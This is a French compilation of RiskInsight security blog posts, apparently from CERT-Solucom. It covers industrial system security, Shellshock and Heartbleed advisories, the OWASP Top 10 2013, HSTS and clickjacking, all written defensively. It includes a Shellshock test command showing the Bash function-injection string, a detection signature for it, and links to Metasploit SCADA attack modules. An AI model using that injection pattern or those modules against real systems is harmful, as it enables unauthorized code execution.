Il ne s’agit néanmoins pas de se lamenter. Bien que le niveau de sécurité actuellement constaté soit faible, il est possible de mener des actions d’amélioration. Au-delà des concepts d’architecture qui permettent de cloisonner ces équipements vulnérables, la vraie, seule solution à long terme consiste à développer de nouveaux produits, sécurisés by design. Bien sûr, les fruits de ce travail ne se verront que sur les nouvelles installations, et pas avant plusieurs dizaines d’années. On peut espérer que la prise de conscience globale des parties prenantes, ainsi que l’implication des instances gouvernementales accélèrent ce changement.
En attendant il semble aujourd’hui nécessaire de déporter les fonctions sécurité sur des équipements dédiés, comme des passerelles encapsulant le trafic réseau dans un tunnel chiffré, ou bien des pare-feu ou IPS disposant de modules spécifiques aux protocoles industriels.

Enfin, il faut également savoir tirer parti d’une des faiblesses des SI Industriels : leur durée de vie et la complexité de changements. En effet, la mise en place d’une supervision sécurité sera facilitée par le caractère figé des réseaux industriels : il est rare que de nouveaux équipements soient installés ou que la topologie réseau soit modifiée. De même, l’emploi d’une solution de contrôle d’exécution par liste blanche sera plus facile sur un PC industriel n’exécutant qu’un seul logiciel de supervision que sur un poste de travail bureautique.

1 – http://www.rapid7.com/db/modules/auxiliary/scanner/scada/modbusclient
2 – https://github.com/arnaudsoullie/metasploit-framework/blob/modicon_stux_transfer/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
3 – https://github.com/arnaudsoullie/scan7

Cet article Niveau de sécurité des SI Industriels : les vulnérabilités les plus courantes est apparu en premier sur RiskInsight.

Une vulnérabilité critique concernant l’interpréteur de commandes Bash a été publiée hier (CVE-2014-6271). Dans certaines conditions, cette vulnérabilité permet à un attaquant d’exécuter du code arbitraire. Le score CVSS indiquant la gravité de la vulnérabilité est évalué à 10, la note maximale.

Cette vulnérabilité affecte les versions 1.14 à 4.3 de Bash et des attaques sont en cours sur les services vulnérables.

Des correctifs de sécurité ont été publiés mais sont incomplets. Cette nouvelle vulnérabilité a été identifiée sous le numéro CVE-2014-7169.

Quels systèmes sont impactés ?

Les distributions Linux sont les principaux systèmes impactés par la vulnérabilité, car elles intègrent l’interpréteur de commande Bash par défaut. C’est également le cas de Mac OSX, et des utilisateurs de Cygwin sous Windows.

Cependant, de nombreux logiciels et services réalisent des appels système via Bash et sont par conséquent vulnérables.

Il est aujourd’hui confirmé que cette vulnérabilité peut s’exploiter à distance dans certains cas :

• Sur un serveur web pouvant faire appel à Bash (scripts cgi, appels systèmes Python ou PHP).
• Sur un serveur SSH (uniquement après authentification).
• Sur un service DHCP.

Plus généralement tout autre service pouvant faire appel à Bash pourrait être affecté.

Cette faille peut notamment être exploitée afin de réaliser une élévation de privilège sous Mac OSX, qui intègre également Bash par défaut.

Comment vérifier si je suis vulnérable ?

Il est possible d’identifier la vulnérabilité via l’exécution de la commande suivante :

$ env var='() { ignore this:;}; echo vulnerable’ bash -c /bin/true

Dans le cas d’un serveur vulnérable, la commande affichera « vulnerable ».

Attention : cette commande permet de vérifier la bonne application des correctifs disponibles. Cependant, il semblerait que ces correctifs ne mitigent pas l’ensemble des attaques possibles, en particulier l’exploitation locale.

Quelles sont les actions à mener ?

1-  Recenser les produits vulnérables

La plupart des systèmes d’exploitation Linux, ainsi que Mac OS X sont affectées par cette vulnérabilité.

Cependant, cette vulnérabilité pourrait également être présente sur d’autres équipements se basant sur des systèmes UNIX. On pense notamment aux appliances réseau et de sécurité, ainsi qu’aux systèmes embarqués.

Il convient de se référer aux bulletins publiés par les éditeurs, lorsqu’ils sont disponibles,  pour plus d’informations.

2- Appliquer les correctifs de sécurité

Bien que son efficacité soit partiellement remise en cause, le correctif de sécurité publié pour Bash permettra de se prémunir des attaques distantes les plus communes.

3- Détecter les attaques

Afin de compléter les mécanismes de protection mis en place, il est possible de détecter ou de bloquer les attaques les plus simples via l’utilisation d’équipements de type IDS/IPS.

Certains éditeurs proposent actuellement des signatures spécifiques à cette attaque, qui reposent sur la détection des caractères spéciaux “() {” dans les en-têtes des requêtes http.

Il est également recommandé d’analyser les logs existants pour détecter une exploitation passée de ShellShock.

Ce bulletin sera complété dans les prochains jours. Pour plus de précisions, vous pouvez contacter le CERT-SOLUCOM

Cet article Faille critique Shellshock : recommandations du CERT-Solucom est apparu en premier sur RiskInsight.

Une faille de sécurité critique Heartbleed a été identifiée dans les bibliothèques OpenSSL. Elle permet à un attaquant externe, non authentifié, de récupérer le contenu de la mémoire du serveur.

Les tests que nous avons menés ont montré qu’il était possible de récupérer les données échangées avec le serveur (dont les logins / mots de passe des utilisateurs), ainsi que des fichiers de configuration.

Recommandations

1- Nous recommandons dans un premier  temps de réaliser un inventaire des équipements utilisant ces bibliothèques, et de procéder à un test de vulnérabilité : soit par l’analyse de la version installée , soit via l’utilisation d’un script ;

2- Ensuite, d’appliquer les correctifs de sécurité ;

3- Il est également recommandé de considérer comme compromises les informations ayant transité par ces équipements, et de forcer un renouvellement des mots de passe (utilisateurs, serveurs, etc) ;

4- La clé privée du serveur pouvant également être impactée, il est recommandé de considérer la révocation et le renouvellement des certificats concernés, à minima sur les systèmes sensibles.

Produits concernés

•  OpenSSL 1.0.1 à 1.0.1f et OpenSSL 1.0.2-beta

•  Les branches 0.9.8 et 1.0.0 ne sont pas vulnérables

Attention, de nombreuses solutions packagées et appliances reposent sur ces bibliothèques et sont vulnérables : reverse proxy, passerelle VPN, etc.

Cet article sera complété dans les prochaines heures ; pour plus de précisions, vous pouvez contacter le CERT-Solucom.

Cet article Faille critique Heartbleed : recommandations du CERT-Solucom est apparu en premier sur RiskInsight.

 Le Top 10 2013, dans la continuité des Top 10 précédents

La quasi-totalité des risques présents dans le top 10 2010 le sont encore dans le top 10 2013. De même, aucun réel nouveau risque n’est apparu : il ne s’agit que d’un remaniement.

 Evolutions du Top 10 entre 2010 et 2013

Cette mise à jour reflète néanmoins les évolutions constatées lors de nos audits, et notamment le recours de plus en plus fréquent à des framework de développement, mais dont les fonctionnalités de sécurité ne sont pas forcément (bien) utilisées ; ainsi, les failles applicatives sont souvent détectées dans les modules développés spécifiquement pour les besoins métiers. Par ailleurs, le trio de tête « Injection, XSS et gestion des sessions » reste présent dans la quasi-totalité des applications que nous auditons.

Quelques évolutions marquantes du Top10 2013

 Falsification de requête intersites (CSRF)

De plus en plus, des fonctions de protection contre le CSRF sont intégrées dans les framework de développement ainsi que dans les logiciels commerciaux, ce qui explique la diminution du risque associé. Cependant, ne prenons pas pour acquis cette protection : nous constatons très fréquemment des vulnérabilités de ce type, qui restent moins connues des développeurs que les vulnérabilités d’injection.

 Manque de contrôle d’accès au niveau fonctionnel

Les vulnérabilités de contrôle d’accès remontent dans le classement, non pas parce qu’elles sont plus fréquentes, mais parce qu’elles sont mieux détectées. Il s’agit effectivement de vulnérabilités que l’on retrouve très classiquement de nos audits. De plus, ces vulnérabilités sont souvent très difficiles, voire impossible à détecter à l’aide d’outils automatisés, car elles nécessitent une bonne compréhension du fonctionnement de l’application et de la logique métier : seul un auditeur humain saura comprendre et évaluer en détails ces mécanismes.

Utilisation de composants avec des vulnérabilités connues

Le recours à des frameworks de développement, ou plus simplement à des librairies externes, est de plus en plus fréquent. Cependant, les processus associés de veille sécurité et de mise à niveau régulière ne sont que rarement mis en place ; ainsi, nombreuses sont les applications à utiliser des composants pour lesquels des vulnérabilités sont connues, et exploitables.  De plus, les modifications apportées à certaines applications peuvent empêcher l’application des correctifs de sécurité ou la migration vers des versions nouvelles. Il est donc primordial d’assurer un suivi de l’ensemble des briques applicatives utilisées, comme suggéré par la règle d’hygiène n°6 de l’ANSSI.

 La sécurité applicative, un domaine que l’on ne peut plus ignorer

Malheureusement, il est très rare d’auditer une application web dont le niveau de sécurité est satisfaisant. L’évolution du niveau de sécurité reste lente, notamment au regard d’une forte tendance à la hausse des intrusions et défacements. Pourtant, l’intégration de la sécurité dans les projets, ainsi que la création de cellules de sécurité applicative sont des initiatives qui fonctionnent !

Alors, que faire ? Ne vous arrêtez pas à 10 ! Ce Top 10 n’a pas pour vocation de lister l’ensemble des vulnérabilités possibles et imaginables sur les applications web ! Il est primordial de savoir ajuster les mesures de sécurité aux besoins de sécurité propres à votre métier et à vos données, notamment par la réalisation d’une analyse de risques préalable.
 

Le Top 10 vient également d’être traduit en français par le chapitre français de l’OWASP, projet auquel Solucom a eu le plaisir de participer. La version française est disponible sous ce lien. 

 Pour être informé des prochains événements organisés par l’OWASP France, n’hésitez pas à rejoindre la mailing-list OWASP France.

 Pour en savoir plus sur les cellules de sécurité applicative (SecApp), n’hésitez pas à télécharger notre focus sur le sujet.

Cet article SecApp : que retenir du nouveau TOP 10 de l’OWASP ? est apparu en premier sur RiskInsight.

Pourquoi a-t-on besoin de HSTS ?

Malheureusement, l’utilisation de HTTPS n’est souvent pas exclusive, ouvrant la voie à trois types de menaces :

• Attaques réseau passives sur des flux non-chiffrés

Il arrive fréquemment que seule une partie des requêtes au serveur web soient chiffrées, par exemple l’authentification. Une fois authentifié, les requêtes suivantes sont en clair. Un attaquant capable d’intercepter les flux réseau (sur un Wifi ouvert, au Starbucks, par exemple), pourra alors analyser les requêtes non-chiffrées, qui contiennent les cookies de session de l’utilisateur. Il pourra ainsi usurper son identité.

• Attaques réseau actives pour détourner le trafic et l’intercepter

Il n’est pas rare de rencontrer des sites proposant une connexion sécurisée mais également une connexion HTTP traditionnelle. Il est alors possible, pour un attaquant capable d’intercepter les flux réseau, de modifier à la volée les données envoyées par le site et de remplacer les liens « https://www.site.com » par des liens vers la version en clair « http://www.site.com ». Des outils permettent d’automatiser cette tâche, comme sslstrip : à nouveau l’attaquant pourra intercepter les cookies et usurper l’identité de la victime. L’attaquant pourrait aussi bien tenter de faire accepter à l’utilisateur un certificat invalide, afin de pouvoir déchiffrer les échanges SSL à la volée.

• Erreurs de développement

Il est également possible que, volontairement ou non, certaines requêtes soient effectuées en clair, par exemple pour charger des images ou un contenu vidéo. Si les images sont hébergées sur le même serveur, les cookies seront envoyés avec la requête et là encore, l’attaquant pourra dérober les cookies et usurper l’identité de la victime.

La solution proposée par HSTS : forcer l’utilisation de HTTPS

HSTS se propose de parer à ce type d’attaques en permettant aux sites web d’indiquer au navigateur qu’il ne doit accepter d’ouvrir que des liens HTTPS vers ce site.

Pour cela, un en-tête HTTP spécifique doit être envoyé au navigateur, qui n’acceptera alors que des liens https:// pour le site en question, et ce pour un temps donné.

De plus, si une erreur de validation de certificat survenait, le navigateur refuserait d’ouvrir la page en question ; en cas d’utilisation de HSTS, l’utilisateur n’a plus la possibilité de passer outre un message d’erreur de validation du certificat : voilà une avancée judicieuse ! HSTS permet donc un premier niveau de protection contre les attaques de type Man-in-the-middle (homme du milieu).

Implémenter HSTS en ajoutant les bons en-têtes

La syntaxe de l’en-tête HTTP est la suivante :

Strict-Transport-Security: max-age=XXX; includeSubDomains

Où :

• Strict-Transport-Security : indique l’utilisation de HSTS
• max-age= : définit la période durant laquelle le navigateur doit forcer l’utilisation de HTTPS, en secondes
• includeSubdomains : permet d’indiquer que la politique s’applique également à l’ensemble des sous-domaines ; cette directive est optionnelle

Dans le cas d’un serveur web Apache, il convient d’insérer les commandes suivantes dans la configuration du site :

Header set Strict-Transport-Security "max-age=XXX"

Header append Strict-Transport-Security includeSubDomains

Il est également conseillé de paramétrer la directive « max-age » de manière dynamique, de façon à la faire coïncider avec la date d’expiration du certificat

HSTS recommande également l’utilisation d’une liste prédéfinie de domaine HSTS par les navigateurs (comme Gmail, Facebook, etc …). Ainsi, on couvre le risque de la première connexion non-chiffrée.

Il est important de noter que les en-têtes HSTS ne sont pris en compte par les navigateurs que si le certificat présenté par le site est signé par une autorité de certification racine présente dans le magasin de certificats, excluant de fait le cas des certificats auto-signés.

Tous les navigateurs sont-ils compatibles HSTS ?

Les mécanismes HSTS sont supportés depuis plusieurs années par Chrome, Firefox et Opéra, qui intègrent désormais une liste par défaut de sites HSTS.

En revanche, les navigateurs Internet Explorer de Microsoft et Safari d’Apple sont à la traîne et n’implémentent pas encore ces protections.

HSTS apporte donc une avancée significative dans la sécurisation des échanges sur Internet, et ce de manière transparente pour le grand public. En imposant la sécurité (en ne leur proposant pas d’accepter un certificat invalide), on se prémunit d’un maillon faible, l’utilisateur, qui peut permettre la réalisation d’attaques de type man-in-the-middle comme ce fut récemment le cas pour le site Github en Chine.

Cependant, d’autres menaces subsistent : on pense notamment aux fréquentes faiblesses dans le choix des protocoles et algorithmes de chiffrement. De plus, la problématique des autorités de certification, qui sont garantes des identités sur internet, reste ouverte, comme le rappellent les cas de Diginotar ou plus récemment de Turktrust.

La sécurisation des échanges sur internet reste une problématique qui requiert de l’expertise dans son implémentation, ainsi que des contrôles réguliers pour assurer la confidentialité et l’intégrité des données échangées vis-à-vis des nouvelles menaces.

Cet article HTTP Strict Transport Policy, une avancée dans la sécurisation des échanges sur Internet ? est apparu en premier sur RiskInsight.

Comment se fait-on clickjacker ?

Pour mener une attaque par clickjacking, un attaquant va procéder de la manière suivante :

1- Il identifie sa cible, une page non-protégée contre ce type d’attaque, qui permet de réaliser une action en cliquant sur un lien ou un bouton.

2- Il intègre cette page dans une page malveillante qu’il maîtrise

3- Il s’arrange pour que, lorsque la victime clique sur un élément de la page, elle clique en réalité sur un bouton ou un lien provenant du site vulnérable

Par exemple, il peut utiliser les propriétés de style offerte par HTML/CSS pour rendre transparente la page vulnérable. Dans l’exemple ci-dessus, l’utilisateur verra le bouton « Jouer ! » mais cliquera en réalité sur le « Bouton 1 », provenant d’un site différent !

Les exemples les plus fréquents d’attaque par clickjacking sont les “likejacking” et “tweetbomb”. La première, ciblant le réseau social, a pour objectif de faire « liker » une page, c’est-à-dire d’augmenter sa popularité. La seconde vise à diffuser sur Twitter un message, la plupart du temps publicitaire.

Les risques se limitent-ils aux réseaux sociaux ?

Mais non ! Il est important de noter que les enjeux liés à ce type d’attaques ne s’arrêtent pas à la pollution de réseaux sociaux. De même que les attaques par rejeu de requête (XSRF),  les attaques par clickjacking permettent d’exécuter des actions à l’insu de la victime.

Il est donc tout à fait imaginable d’employer ce type d’attaque afin, par exemple, d’ajouter des articles dans le panier des clients d’un site de e-commerce. Pour cela, il suffirait à l’attaquant de reprendre le scénario précédent, mais de remplacer les boutons « like » de Facebook par le bouton « Ajouter au panier » du site e-commerce. L’attaquant pourrait augmenter grandement les ventes de son produit !

 Comment se protéger efficacement ?

La protection contre ce type d’attaques est à considérer du double point de vue de l’utilisateur et du responsable du site internet qui sert – involontairement – de support à l’attaque. La protection idéale nécessite donc sensibilisation et moyens techniques.

Pour les utilisateurs finaux en effet, se protéger implique d’avoir conscience du risque et de faire preuve de vigilance en surveillant ses fréquentations sur le web ! Il convient de rester méfiant à l’égard des liens commerciaux et des jeux ou concours qui promettent monts et merveilles.

Pour les équipes en charge de la sécurité des applications web, deux éléments sont à considérer pour mitiger le risque lié au clickjacking : l’utilisation d’en-têtes http spécifiques, et l’emploi de protections en JavaScript.

 Utiliser les en-têtes http appropriés pour se protéger

Il est d’une part possible d’utiliser l’en-tête http « X-FRAME-OPTIONS », qui va indiquer au navigateur à quelles conditions le contenu du site peut être intégré dans une iframe. Il est possible de lui spécifier trois valeurs :

• « DENY », qui va interdire l’inclusion de la page ;
• « SAMEORIGIN », qui va autoriser uniquement les sites du même domaine à inclure la page ;
• « ALLOW-FROM », qui permet de spécifier le ou les domaines autorisés à inclure la page.

Utiliser JavaScript pour s’assurer que ses pages ne sont pas dissimulées

En complément, il est possible d’utiliser du code JavaScript pour se protéger. Pour cela, ces codes vont par exemple s’assurer que la page est bien au niveau supérieur et qu’elle sera visible. Il faut néanmoins reconnaître qu’aucun de ces codes n’est totalement fiable.

Pour des informations détaillées sur les implémentations de ces protections, le site de l’OWASP propose une page dédiée à ce sujet.

La réauthentification, meilleure arme de protection pour les actions sensibles

La solution la plus efficace reste de ré-authentifier l’utilisateur pour les actions sensibles, par exemple en lui redemandant son mot de passe ou en utilisant un second facteur d’authentification, comme cela est l’usage sur les sites de banque en ligne.

Ces protections sont-elles couramment déployées ?

En un mot : non. Malheureusement, ce type d’attaque n’est toujours pas, 4 ans après leur découverte, pris au sérieux par la plupart des développeurs / testeurs / équipes de sécurité, sans doute car elles n’ont pour l’instant pas été exploitées à grande échelle en dehors des réseaux sociaux.

Selon un article publié récemment sur le blog de Qualys, les protections standards décrites ci-dessus ne sont ainsi pas encore déployées systématiquement : près de 70% des 20 sites bancaires les plus fréquentés n’implémentent pas de protection efficace contre ce type d’attaque.

Il est fort à parier que l’emploi de ce type d’attaque va augmenter et se diversifier à l’avenir.  En effet, les mesures de protection contre les attaques par rejeu de requête (XSRF) se généralisant, notamment par leur intégration dans les frameworks de développement, les attaquants se tourneront mécaniquement vers d’autres vulnérabilités, dont le clickjacking. Anticiper dès à présent  reste le moyen le plus sûr d’éviter d’en être la victime.

Cet article Clickjacking, mais qui a volé ma souris ? est apparu en premier sur RiskInsight.